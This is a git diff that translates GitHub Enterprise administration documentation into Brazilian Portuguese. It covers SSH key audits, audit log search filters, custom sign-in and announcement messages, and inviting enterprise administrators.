+Depois de clicar no botão "Start public key audit" (Iniciar auditoria de chave pública), você será redirecionado para uma tela de confirmação explicando as próximas etapas:
 
-After you click the "Begin audit" button, all SSH keys are invalidated and will require approval. You'll see a notification indicating the audit has begun.
+![Confirmar a auditoria](/assets/images/enterprise/security/Enterprise-Begin-Audit.png)
 
-## What users see
+Depois de clicar no botão "Begin audit" (Iniciar auditoria), todas as chaves SSH serão invalidadas e exigirão aprovação. Você verá uma notificação indicando o início da auditoria.
 
-If a user attempts to perform any git operation over SSH, it will fail and provide them with the following message:
+## O que os usuários veem
+
+Se o usuário tentar fazer qualquer operação no Git por SSH, a operação vai falhar e a seguinte mensagem será exibida:
 
 ```shell
-ERROR: Hi <em>username</em>. We're doing an SSH key audit.
-Please visit http(s)://<em>hostname</em>/settings/ssh/audit/2
-to approve this key so we know it's safe.
+ERROR: Olá, <em>username</em>. Estamos fazendo uma auditoria de chave SSH.
+Acesse http(s)://<em>hostname</em>/settings/ssh/audit/2
+para aprovar esta chave e validar a segurança.
 Fingerprint: ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
-fatal: The remote end hung up unexpectedly
+fatal: remote desativado inesperadamente
 ```
 
-When they follow the link, they're asked to approve the keys on their account:
+Quando clicar no link, o usuário deverá aprovar as chaves da própria conta:
 
-![Auditing keys](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg)
+![Auditar chaves](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg)
 
-After they approve or reject their keys, they'll be able interact with repositories as usual.
+Depois de aprovar ou rejeitar as chaves, o usuário poderá interagir normalmente com os repositórios.
 
-## Adding an SSH key
+## Adicionar chave SSH
 
-New users will be prompted for their password when adding an SSH key:
+Os novos usuários deverão informar a senha ao adicionar uma chave SSH:
 
-![Password confirmation](/assets/images/help/settings/sudo_mode_popup.png)
+![Confirmação de senha](/assets/images/help/settings/sudo_mode_popup.png)
 
-When a user adds a key, they'll receive a notification email that will look something like this:
-
-    The following SSH key was added to your account:
+Quando adicionar a chave, o usuário receberá um e-mail de notificação como este:
 
+    A chave SSH abaixo foi adicionada à sua conta:
+    
     [title]
     ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
-
-    If you believe this key was added in error, you can remove the key and disable access at the following location:
-
+    
+    Se achar que a chave foi adicionada por engano, você poderá removê-la e desabilitar o acesso por este caminho:
+    
     http(s)://HOSTNAME/settings/ssh
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
index b73c09ee99..e9042fa446 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Auditing users across your enterprise
-intro: 'The audit log dashboard shows site administrators the actions performed by all users and organizations across your enterprise within the current month and previous six months. The audit log includes details such as who performed the action, what the action was, and when the action was performed.'
+title: Auditar de usuários em toda a sua empresa
+intro: 'O painel do log de auditoria mostra aos administradores do site as ações realizadas por todos os usuários e organizações de toda a sua empresa dentro do mês atual e dos seis meses anteriores. O log de auditoria inclui detalhes como quem realizou a ação, qual foi a ação e quando a ação foi realizada.'
 redirect_from:
   - /enterprise/admin/guides/user-management/auditing-users-across-an-organization
   - /enterprise/admin/user-management/auditing-users-across-your-instance
@@ -16,104 +16,105 @@ topics:
   - Organizations
   - Security
   - User account
-shortTitle: Audit users
+shortTitle: Auditoria de usuários
 ---
-## Accessing the audit log
 
-The audit log dashboard gives you a visual display of audit data across your enterprise.
+## Acessar o log de auditoria
 
-![Instance wide audit log dashboard](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png)
+O painel de log de auditoria oferece uma exibição visual de dados de auditoria na sua empresa.
+
+![Painel de log de auditoria da instância](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png)
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.audit-log-tab %}
 
-Within the map, you can pan and zoom to see events around the world. Hover over a country to see a quick count of events from that country.
+No mapa, você pode aplicar zoom e visão panorâmica para ver os eventos do mundo todo. Posicione o mouse sobre um país para ver a contagem de eventos ocorridos nele.
 
-## Searching for events across your enterprise
+## Pesquisar eventos na sua empresa
 
-The audit log lists the following information about actions made within your enterprise:
+O log de auditoria lista as seguintes informações sobre as ações feitas na sua empresa:
 
-* [The repository](#search-based-on-the-repository) an action was performed in
-* [The user](#search-based-on-the-user) who performed the action
-* [Which organization](#search-based-on-the-organization) an action pertained to
-* [The action](#search-based-on-the-action-performed) that was performed
-* [Which country](#search-based-on-the-location) the action took place in
-* [The date and time](#search-based-on-the-time-of-action) the action occurred
+* [O repositório](#search-based-on-the-repository) em que a ação ocorreu;
+* [O usuário](#search-based-on-the-user) que fez a ação;
+* [A organização](#search-based-on-the-organization) a que a ação pertence;
+* [O tipo de ação](#search-based-on-the-action-performed) ocorrida;
+* [O país](#search-based-on-the-location) em que a ação ocorreu;
+* [A data e a hora](#search-based-on-the-time-of-action)  em que a ação ocorreu.
 
 {% warning %}
 
-**Notes:**
+**Notas:**
 
-- While you can't use text to search for audit entries, you can construct search queries using a variety of filters. {% data variables.product.product_name %} supports many operators for searching across {% data variables.product.product_name %}. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)."
-- Audit records are available for the current month and every day of the previous six months.
+- Embora não seja possível usar texto para pesquisar entradas de auditoria, você pode criar consultas de pesquisa usando filtros diversificados. {% data variables.product.product_name %} é compatível com muitos operadores para fazer pesquisa em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Sobre a pesquisa no {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)".
+- Os registros de auditoria estão disponíveis para o mês atual e todos os dias dos seis meses anteriores.
 
 {% endwarning %}
 
-### Search based on the repository
+### Pesquisar com base no repositório
 
-The `repo` qualifier limits actions to a specific repository owned by your organization. For example:
+O qualificador `repo` limita as ações a um repositório específico pertencente à sua organização. Por exemplo:
 
-* `repo:my-org/our-repo` finds all events that occurred for the `our-repo` repository in the `my-org` organization.
-* `repo:my-org/our-repo repo:my-org/another-repo` finds all events that occurred for both the `our-repo` and `another-repo` repositories in the `my-org` organization.
-* `-repo:my-org/not-this-repo` excludes all events that occurred for the `not-this-repo` repository in the `my-org` organization.
+* `repo:my-org/our-repo` localiza todos os eventos que ocorreram no repositório `our-repo` na organização `my-org`.
+* `repo:my-org/our-repo repo:my-org/another-repo` localiza todos os eventos que ocorreram para ambos repositórios `our-repo` e `another-repo` na organização `my-org`.
+* `-repo:my-org/not-this-repo` exclui todos os eventos que ocorreram no repositório `not-this-repo` na organização `my-org`.
 
-You must include your organization's name within the `repo` qualifier; searching for just `repo:our-repo` will not work.
+Você deve incluir o nome da sua organização no qualificador `repo`; pesquisar somente `repo:our-repo` não funcionará.
 
-### Search based on the user
+### Pesquisar com base no usuário
 
-The `actor` qualifier scopes events based on the member of your organization that performed the action. For example:
+O qualificador `actor` incluir eventos com base no integrante da organização que fez a ação. Por exemplo:
 
-* `actor:octocat` finds all events performed by `octocat`.
-* `actor:octocat actor:hubot` finds all events performed by both `octocat` and `hubot`.
-* `-actor:hubot` excludes all events performed by `hubot`.
+* `actor:octocat` localiza todos os eventos feitos por `octocat`.
+* `actor:octocat actor:hubot` localiza todos os eventos realizados por ambos `octocat` e `hubot`.
+* `-actor:hubot` exclui todos os eventos realizados por `hubot`.
 
-You can only use a {% data variables.product.product_name %} username, not an individual's real name.
+Só é possível usar o nome de usuário do {% data variables.product.product_name %}, e não o nome verdadeiro da pessoa.
 
-### Search based on the organization
+### Pesquisar com base na organização
 
-The `org` qualifier limits actions to a specific organization. For example:
+O qualificador `org` limita as ações a uma organização específica. Por exemplo:
 
-* `org:my-org` finds all events that occurred for the `my-org` organization.
-* `org:my-org action:team` finds all team events performed within the `my-org` organization.
-* `-org:my-org` excludes all events that occurred for the `my-org` organization.
+* `org:my-org` encontrou todos os eventos que ocorreram na organização `minha-org`.
+* `org:my-org action:team` localiza todos os eventos de equipe que ocorreram na organização `my-org`;
+* `-org:my-org` exclui todos os eventos que ocorreram na organização `minha-org`.
 
-### Search based on the action performed
+### Pesquisar com base na ação
 
-The `action` qualifier searches for specific events, grouped within categories. For information on the events associated with these categories, see "[Audited actions](/admin/user-management/audited-actions)".
+O qualificador `action` pesquisa eventos específicos, agrupados em categorias. Para informações sobre os eventos associados a essas categorias, consulte "[Ações auditadas](/admin/user-management/audited-actions)".
 
-| Category name | Description
-|------------------|-------------------
-| `hook` | Contains all activities related to webhooks.
-| `org` | Contains all activities related organization membership
-| `repo` | Contains all activities related to the repositories owned by your organization.
-| `team` | Contains all activities related to teams in your organization.
+| Categoria | Descrição                                                                         |
+| --------- | --------------------------------------------------------------------------------- |
+| `hook`    | Tem todas as atividades relacionadas a webhooks.                                  |
+| `org`     | Tem todas as atividades relacionadas à associação na organização.                 |
+| `repo`    | Tem todas as atividades relacionadas aos repositórios pertencentes à organização. |
+| `equipe`  | Tem todas as atividades relacionadas às equipes na organização.                   |
 
-You can search for specific sets of actions using these terms. For example:
+Você pode pesquisar conjuntos específicos de ações usando esses termos. Por exemplo:
 
-* `action:team` finds all events grouped within the team category.
-* `-action:billing` excludes all events in the billing category.
+* `action:team` localiza todos os eventos agrupados na categoria da equipe;
+* `-action:billing` exclui todos os eventos na categoria de cobrança.
 
-Each category has a set of associated events that you can filter on. For example:
+Cada categoria tem um conjunto de eventos associados que você pode usar no filtro. Por exemplo:
 
-* `action:team.create` finds all events where a team was created.
-* `-action:billing.change_email` excludes all events where the billing email was changed.
+* `action:team.create` localiza todos os eventos em que uma equipe foi criada;
+* `-action:billing.change_email` exclui todos os eventos em que a categoria de cobrança foi alterada.
 
-### Search based on the location
+### Pesquisar com base no local
 
-The `country` qualifier filters actions by the originating country.
-- You can use a country's two-letter short code or its full name.
-- Countries with spaces in their name must be wrapped in quotation marks. For example:
-  * `country:de` finds all events that occurred in Germany.
-  * `country:Mexico` finds all events that occurred in Mexico.
-  * `country:"United States"` all finds events that occurred in the United States.
+O qualificador `country` filtra as ações com base no país de origem.
+- Você pode usar o código de duas letras do país ou o nome completo.
+- Países com duas ou mais palavras devem ficar entre aspas. Por exemplo:
+  * `country:de` localiza todos os eventos ocorridos na Alemanha;
+  * `country:Mexico` localiza todos os eventos ocorridos no México;
+  * `country:"United States"` localiza todos os eventos ocorridos nos Estados Unidos.
 
-### Search based on the time of action
+### Pesquisar com base na hora da ação
 
-The `created` qualifier filters actions by the time they occurred.
-- Define dates using the format of `YYYY-MM-DD`--that's year, followed by month, followed by day.
-- Dates support [greater than, less than, and range qualifiers](/enterprise/{{ currentVersion }}/user/articles/search-syntax). For example:
-  * `created:2014-07-08` finds all events that occurred on July 8th, 2014.
-  * `created:>=2014-07-01` finds all events that occurred on or after July 8th, 2014.
-  * `created:<=2014-07-01` finds all events that occurred on or before July 8th, 2014.
-  * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
+O qualificador `created` filtra as ações com base na hora em que elas ocorreram.
+- Defina as datas usando o formato `YYYY-MM-DD` (ano, mês, dia).
+- As datas têm qualificadores [antes de, depois de e intervalos](/enterprise/{{ currentVersion }}/user/articles/search-syntax). Por exemplo:
+  * `created:2014-07-08` localiza todos os eventos ocorridos em 8 de julho de 2014;
+  * `created:>=2014-07-01` localiza todos os eventos ocorridos depois de 8 de julho de 2014;
+  * `created:<=2014-07-01`  localiza todos os eventos ocorridos antes de 8 de julho de 2014;
+  * `created:2014-07-01..2014-07-31`  localiza todos os eventos ocorridos em julho de 2014.
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
index f6396f94cc..33e24eb860 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
@@ -1,12 +1,12 @@
 ---
-title: Customizing user messages for your enterprise
-shortTitle: Customizing user messages
+title: Personalizar mensagens de usuário para sua empresa
+shortTitle: Personalizar mensagens de usuário
 redirect_from:
   - /enterprise/admin/user-management/creating-a-custom-sign-in-message
   - /enterprise/admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-for-your-enterprise
-intro: 'You can create custom messages that users will see on {% data variables.product.product_location %}.'
+intro: 'Você pode criar mensagens personalizadas que os usuários verão em {% data variables.product.product_location %}.'
 versions:
   ghes: '*'
   ghae: '*'
@@ -15,108 +15,98 @@ topics:
   - Enterprise
   - Maintenance
 ---
-## About user messages
 
-There are several types of user messages.
-- Messages that appear on the {% ifversion ghes %}sign in or {% endif %}sign out page{% ifversion ghes or ghae %}
-- Mandatory messages, which appear once in a pop-up window that must be dismissed{% endif %}{% ifversion ghes or ghae %}
-- Announcement banners, which appear at the top of every page{% endif %}
+## Sobre mensagens de usuário
+
+Existem vários tipos de mensagens de usuário.
+- Mensagens que aparecem na página {% ifversion ghes %}página de ingresso ou {% endif %}saída{% ifversion ghes or ghae %}
+- Mensagens obrigatórias, que aparecem uma vez em uma janela pop-up que deve ser ignorada{% endif %}{% ifversion ghes or ghae %}
+- Banners de anúncios, que aparecem na parte superior de cada página{% endif %}
 
 {% ifversion ghes %}
 {% note %}
 
-**Note:** If you are using SAML for authentication, the sign in page is presented by your identity provider and is not customizable via {% data variables.product.prodname_ghe_server %}.
+**Observação:** se você estiver usando SAML para fazer autenticação, a página de login será apresentada pelo seu provedor de identidade e não será possível personalizá-la pelo {% data variables.product.prodname_ghe_server %}.
 
 {% endnote %}
 
-You can use Markdown to format your message. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)."
+Você pode usar markdown para formatar sua mensagem. Para obter mais informações, consulte "[Sobre gravação e formatação no {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)".
 
-## Creating a custom sign in message
+## Criar mensagem personalizada de login
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-5. {% ifversion ghes %}To the right of{% else %}Under{% endif %} "Sign in page", click **Add message** or **Edit message**.
-![{% ifversion ghes %}Add{% else %}Edit{% endif %} message button](/assets/images/enterprise/site-admin-settings/edit-message.png)
-6. Under **Sign in message**, type the message you'd like users to see.
-![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %}
+5. {% ifversion ghes %}À direita de{% else %}em{% endif %} "Página de login", clique **Adicionar mensagem** ou **Editar mensagem**. ![{% ifversion ghes %}Botão de mensagem de Adicionar{% else %}Editar{% endif %}](/assets/images/enterprise/site-admin-settings/edit-message.png)
+6. Em **Sign in message** (Mensagem de login), digite a mensagem que você pretende exibir para os usuários. ![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %}
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
 {% data reusables.enterprise_site_admin_settings.click-preview %}
-  ![Preview button](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png)
-8. Review the rendered message.
-![Sign in message rendered](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png)
+  ![Botão Preview (Visualizar)](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png)
+8. Revise a mensagem renderizada. ![Mensagem de login renderizada](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png)
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
 {% endif %}
 
-## Creating a custom sign out message
+## Criar mensagem personalizada de logout
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-5. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Sign out page", click **Add message** or **Edit message**.
-![Add message button](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png)
-6. Under **Sign out message**, type the message you'd like users to see.
-![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %}
+5. {% ifversion ghes or ghae %}À direita de{% else %}em{% endif %} "página de logout", clique em **Adicionar mensagem** ou **Editar mensagem**. ![Botão Add message (Adicionar mensagem)](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png)
+6. Em **Sign out message** (Mensagem de logout), digite a mensagem que você pretende exibir para os usuários. ![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %}
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
 {% data reusables.enterprise_site_admin_settings.click-preview %}
-  ![Preview button](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png)
-8. Review the rendered message.
-![Sign out message rendered](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png)
+  ![Botão Preview (Visualizar)](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png)
+8. Revise a mensagem renderizada. ![Mensagem de logout renderizada](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png)
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
 
 {% ifversion ghes or ghae %}
-## Creating a mandatory message
+## Criar uma mensagem obrigatória
 
-You can create a mandatory message that {% data variables.product.product_name %} will show to all users the first time they sign in after you save the message. The message appears in a pop-up window that the user must dismiss before the user can use {% data variables.product.product_location %}.
+Você pode criar uma mensagem obrigatória que {% data variables.product.product_name %} mostrará a todos os usuários na primeira vez que efetuarem o login depois de salvar a mensagem. A mensagem aparece em uma janela pop-up que o usuário deve ignorar antes que o usuário possa usar o {% data variables.product.product_location %}.
 
-Mandatory messages have a variety of uses.
+As mensagens obrigatórias têm uma série de usos.
 
-- Providing onboarding information for new employees
-- Telling users how to get help with {% data variables.product.product_location %}
-- Ensuring that all users read your terms of service for using {% data variables.product.product_location %}
+- Fornecer informações de integração para novos funcionários
+- Contar para os usuários como obter ajuda com {% data variables.product.product_location %}
+- Garantir que todos os usuários leiam seus termos de serviço para usar {% data variables.product.product_location %}
 
-If you include Markdown checkboxes in the message, all checkboxes must be selected before the user can dismiss the message. For example, if you include your terms of service in the mandatory message, you can require that each user selects a checkbox to confirm the user has read the terms.
+Se você incluir caixas de seleção de Markdown na mensagem, todas as caixas de seleção deverão ser selecionadas antes de o usuário poder ignorar a mensagem. Por exemplo, se você incluir seus termos de serviço na mensagem obrigatória, você poderá exigir que cada usuário marque uma caixa de seleção para confirmar que o usuário leu os termos.
 
-Each time a user sees a mandatory message, an audit log event is created. The event includes the version of the message that the user saw. For more information see "[Audited actions](/admin/user-management/audited-actions)."
+Cada vez que um usuário vê uma mensagem obrigatória, um evento de log de auditoria é criado. O evento inclui a versão da mensagem que o usuário visualizou. Para obter mais informações, consulte "[Ações auditadas](/admin/user-management/audited-actions)".
 
 {% note %}
 
-**Note:** If you change the mandatory message for {% data variables.product.product_location %}, users who have already acknowledged the message will not see the new message.
+**Observação:** Se você alterar a mensagem obrigatória para {% data variables.product.product_location %}, os usuários que já reconheceram a mensagem não visualizarão a nova mensagem.
 
 {% endnote %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-1. To the right of "Mandatory message", click **Add message**.
-  ![Add mandatory message button](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png)
-1. Under "Mandatory message", in the text box, type your message.
-  ![Mandatory message text box](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png)
+1. À direita da "Mensagem obrigatória", clique em **Adicionar mensagem**. ![Botão de adicionar mensagem obrigatória](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png)
+1. Em "Mensagem obrigatória", na caixa de texto, digite sua mensagem. ![Caixa de texto obrigatória](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png)
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}
 
 {% endif %}
 
 {% ifversion ghes or ghae %}
-## Creating a global announcement banner
+## Criar um banner de anúncio global
 
-You can set a global announcement banner to be displayed to all users at the top of every page.
+Você pode definir um banner de anúncio global para ser exibido para todos os usuários na parte superior de cada página.
 
 {% ifversion ghae or ghes %}
-You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. For more information, see {% ifversion ghes %}"[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" and {% endif %}"[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)."
+Você também pode definir um banner de anúncio{% ifversion ghes %} no shell administrativo usando um utilitário de linha de comando ou{% endif %} usando a API. Para obter mais informações, consulte {% ifversion ghes %}"[Utilitários de linha de comando](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" e {% endif %}"[Administração de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#announcements)".
 {% else %}
 
-You can also set an announcement banner in the administrative shell using a command line utility. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)."
+Você também pode definir um banner de anúncio no shell administrativo usando um utilitário de linha de comando. Para obter mais informações, consulte "[Utilitários de linha de comando](/enterprise/admin/configuration/command-line-utilities#ghe-announce)".
 
 {% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-1. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Announcement", click **Add announcement**.
-  ![Add announcement button](/assets/images/enterprise/site-admin-settings/add-announcement-button.png)
-1. Under "Announcement", in the text field, type the announcement you want displayed in a banner.
-  ![Text field to enter announcement](/assets/images/enterprise/site-admin-settings/announcement-text-field.png)
-1. Optionally, under "Expires on", select the calendar drop-down menu and click an expiration date.
-  ![Calendar drop-down menu to choose expiration date](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png)
+1. {% ifversion ghes or ghae %}À direita de{% else %}em{% endif %} "Anúncio", clique em **Adicionar anúncio**. ![Botão Add message (Adicionar mensagem)](/assets/images/enterprise/site-admin-settings/add-announcement-button.png)
+1. Em "Anúncio", no campo de texto, digite o anúncio que deseja exibir em um banner. ![Campo de texto para digitar o anúncio](/assets/images/enterprise/site-admin-settings/announcement-text-field.png)
+1. Opcionalmente, em "Expira em", selecione o menu suspenso do calendário e clique em uma data de validade. ![Menu suspenso do calendário para escolher data de vencimento](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png)
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}
 {% endif %}
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/index.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/index.md
index 4b8443a834..3c21db8637 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/index.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing users in your enterprise
-intro: You can audit user activity and manage user settings.
+title: Gerenciar usuários na sua empresa
+intro: Você pode controlar atividades do usuário e gerenciar configurações de usuário.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise
   - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons
@@ -33,5 +33,6 @@ children:
   - /auditing-ssh-keys
   - /customizing-user-messages-for-your-enterprise
   - /rebuilding-contributions-data
-shortTitle: Manage users
+shortTitle: Gerenciar usuários
 ---
+
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
index bdb7d0b4f9..2a2e434e26 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Inviting people to manage your enterprise
-intro: 'You can {% ifversion ghec %}invite people to become enterprise owners or billing managers for{% elsif ghes %}add enterprise owners to{% endif %} your enterprise account. You can also remove enterprise owners {% ifversion ghec %}or billing managers {% endif %}who no longer need access to the enterprise account.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Convidar pessoas para gerenciar sua empresa
+intro: 'Você pode {% ifversion ghec %}convidar pessoas para se tornarem proprietários corporativos ou gerentes de cobrança para{% elsif ghes %}adicionar proprietários corporativos à conta corporativa{% endif %}. Você também pode remover proprietários corporativos {% ifversion ghec %}ou gerentes de cobrança {% endif %}que não precisam mais de acesso à conta corporativa.'
 permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
@@ -17,64 +16,59 @@ topics:
   - Administrator
   - Enterprise
   - User account
-shortTitle: Invite people to manage
+shortTitle: Convidar pessoas para gerenciar
 ---
 
-## About users who can manage your enterprise account
+## Sobre os usuários que podem gerenciar a sua conta corporativa
 
-{% data reusables.enterprise-accounts.enterprise-administrators %} For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
+{% data reusables.enterprise-accounts.enterprise-administrators %} Para obter mais informações, consulte "[Funções em uma empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
 
 {% ifversion ghes %}
 
-If you want to manage owners and billing managers for an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+Se você deseja gerenciar os proprietários e gerentes de cobrança para uma conta corporativa em {% data variables.product.prodname_dotcom_the_website %}, consulte "[Convidando pessoas para gerenciar sua empresa](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)" na documentação do {% data variables.product.prodname_ghe_cloud %}.
 
 {% endif %}
 
 {% ifversion ghec %}
 
-If your enterprise uses {% data variables.product.prodname_emus %}, enterprise owners can only be added or removed through your identity provider. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+Se sua empresa usa {% data variables.product.prodname_emus %}, os proprietários da empresa só poderão ser adicionados ou removidos por meio do seu provedor de identidade. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 
 {% endif %}
 
 {% tip %}
 
-**Tip:** For more information on managing users within an organization owned by your enterprise account, see "[Managing membership in your organization](/articles/managing-membership-in-your-organization)" and "[Managing people's access to your organization with roles](/articles/managing-peoples-access-to-your-organization-with-roles)."
+**Dica:** para obter mais informações sobre como gerenciar usuários em uma organização de sua conta corporativa, consulte "[Gerenciar integrantes em sua organização](/articles/managing-membership-in-your-organization)" e "[Gerenciar acessos de pessoas à sua organização com funções](/articles/managing-peoples-access-to-your-organization-with-roles)".
 
 {% endtip %}
 
-## {% ifversion ghec %}Inviting{% elsif ghes %}Adding{% endif %} an enterprise administrator to your enterprise account
+## {% ifversion ghec %}Convidando{% elsif ghes %}adicionando{% endif %} um administrador corporativo à sua conta corporativa
 
-{% ifversion ghec %}After you invite someone to join the enterprise account, they must accept the emailed invitation before they can access the enterprise account. Pending invitations will expire after 7 days.{% endif %}
+{% ifversion ghec %}Depois de convidar alguém para juntar-se à conta corporativa, a pessoa deverá aceitar o convite por e-mail antes que possa acessar a conta corporativa. Convites pendentes vencem após 7 dias.{% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.people-tab %}
-1. In the left sidebar, click **Administrators**.
-  ![Administrators tab in the left sidebar](/assets/images/help/business-accounts/administrators-tab.png)
-1. Above the list of administrators, click {% ifversion ghec %}**Invite admin**{% elsif ghes %}**Add owner**{% endif %}.
+1. Na barra lateral esquerda, clique em **Administrators** (Administradores). ![Aba Administrators (Administradores) na barra lateral esquerda](/assets/images/help/business-accounts/administrators-tab.png)
+1. Acima da lista de administradores, clique em {% ifversion ghec %}**Convidar administrador**{% elsif ghes %}**Add proprietário**{% endif %}.
   {% ifversion ghec %}
-  !["Invite admin" button above the list of enterprise owners](/assets/images/help/business-accounts/invite-admin-button.png)
+  ![Botão "Convidar administrador" acima da lista de proprietários corporativos](/assets/images/help/business-accounts/invite-admin-button.png)
   {% elsif ghes %}
-  !["Add owner" button above the list of enterprise owners](/assets/images/help/business-accounts/add-owner-button.png)
+  ![Botão "Adicionar o proprietário" acima da lista de proprietários corporativos](/assets/images/help/business-accounts/add-owner-button.png)
   {% endif %}
-1. Type the username, full name, or email address of the person you want to invite to become an enterprise administrator, then select the appropriate person from the results.
